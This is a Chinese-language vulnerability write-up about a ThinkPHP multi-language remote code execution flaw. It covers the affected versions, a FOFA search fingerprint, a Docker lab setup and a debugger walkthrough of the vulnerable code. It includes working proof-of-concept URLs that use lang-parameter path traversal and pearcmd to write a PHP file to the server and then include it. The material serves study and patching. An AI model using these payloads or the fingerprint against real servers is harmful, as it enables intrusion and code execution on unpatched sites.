thinkphp多语言rce

[TOC]

漏洞描述

如果 Thinkphp 程序开启了多语言功能,那就可以通过 get、header、cookie 等位置传入参数,实现目录穿越+文件包含,通过 pearcmd 文件包含这个 trick 即可实现 RCE。

影响范围

Thinkphp,v6.0.1~v6.0.13,v5.0.x,v5.1.x

fofa指纹

header="think_lang"

攻击要求

开启多语言功能,安装pear类库(在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装,不过,在Docker任意版本镜像中,pcel/pear都会被默认安装,安装的路径在/usr/local/lib/php)

thinkphp6

# app/middleware.php 

<?php
// 全局中间件定义文件
return [
    // 全局请求缓存
    // \think\middleware\CheckRequestCache::class,
    // 多语言加载
    \think\middleware\LoadLangPack::class,
    // Session初始化
    // \think\middleware\SessionInit::class
];

thinkphp5

# config/app.php
# application/config.php

'lang_switch_on'         => true

漏洞复现

使用docker安装

docker run -it -d -p 8899:80 vulfocus/thinkphp:6.0.12

image-20221216152643250

image-20221216152851895

poc:

/public/index.php?+config-create+/&lang=../../../../../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/tmp/sakura.php
    
/public/index.php?+config-create+/&lang=../../../../../../../../usr/local/lib/php/pearcmd&/<?=echo 123?>+/tmp/sakura.php

image-20221216153113371

这样就代表成功写入

使用文件包含

/public/index.php?lang=../../../../../../../../tmp/sakura

image-20221216153258960

漏洞分析

thinkphp6.0.12

现在拉不下来这个版本的thinkphp了,我就搬运下发布这个漏洞大佬的分析

调试环境:windows ,php7.3,thinkphp6.0.12

打开多语言中间件:

image-20220708225627088

访问:

http://127.0.0.1:82/?lang=../../../../../public/index

每个 middleware 的 handle() 函数都会被调用,这里断在 LoadLangPack.phphandle() ,直接在最开头调用 $langset = $this->detect($request);

image-20220708234013378

跟进这个 detect() ,可以看到依次排查了 GET["lang"]HEADER["think-lang"]COOKIE["think_lang"] ,并且将其不做任何过滤,直接赋值给了 $langSet

image-20220708234039203

然后默认情况下,即 allow_lang_list 这个配置为空,$langSet 被赋值给 $range,而 $range 被返回:

image-20220708234055980

回到 handle() ,如果返回的 $langset 不等于默认的 langset ,即 zh-cn ,那么就会调用 $this->lang->switchLangSet($langset) ,正是在这里面实现了 文件包含:

image-20220708234225249

跟进 switchLangSet() ,可以看到调用了 $this->load() ,而传入的参数直接拼接而成,本例中传入的最终结果是 D:\var\www\think6\vendor\topthink\framework\src\lang\../../../../../index.php

image-20220708234319076

跟进这个 load() ,可以看到直接将传入的参数作为文件名,先判断文件在不在,如果在就传入 parse() 中,进行文件包含:

image-20220708234349146

跟进 parse() ,可以看到进行了文件包含:

image-20220708234424907

既然可以通过目录穿越实现任意 php 文件的包含,那么用 pearcmd 文件包含这个 trick ,就能 RCE 了

thinkphp5.0.12

调试环境:phpstudy ,php7.3.4,thinkphp5.0.12

thinkphp5.0.12下载链接:https://www.thinkphp.cn/download/1080.html

image-20221216210644797

先开启多语言

image-20221216205928393

在这个位置打上两个断点:

image-20221216212442016

访问

http://127.0.0.1/?lang=../../../../../public/index

调用了 Lang.php 中的 detect(),包含的文件名可以来自 get 、cookie:

image-20221216220119007

image-20220711145947527

然后进行文件包含:

image-20220711150159797

image-20221216221205300

参考链接

https://tttang.com/archive/1865/#toc_thinkphp5

https://mp.weixin.qq.com/s/ZaVOND0H8aop97kIVjRSkA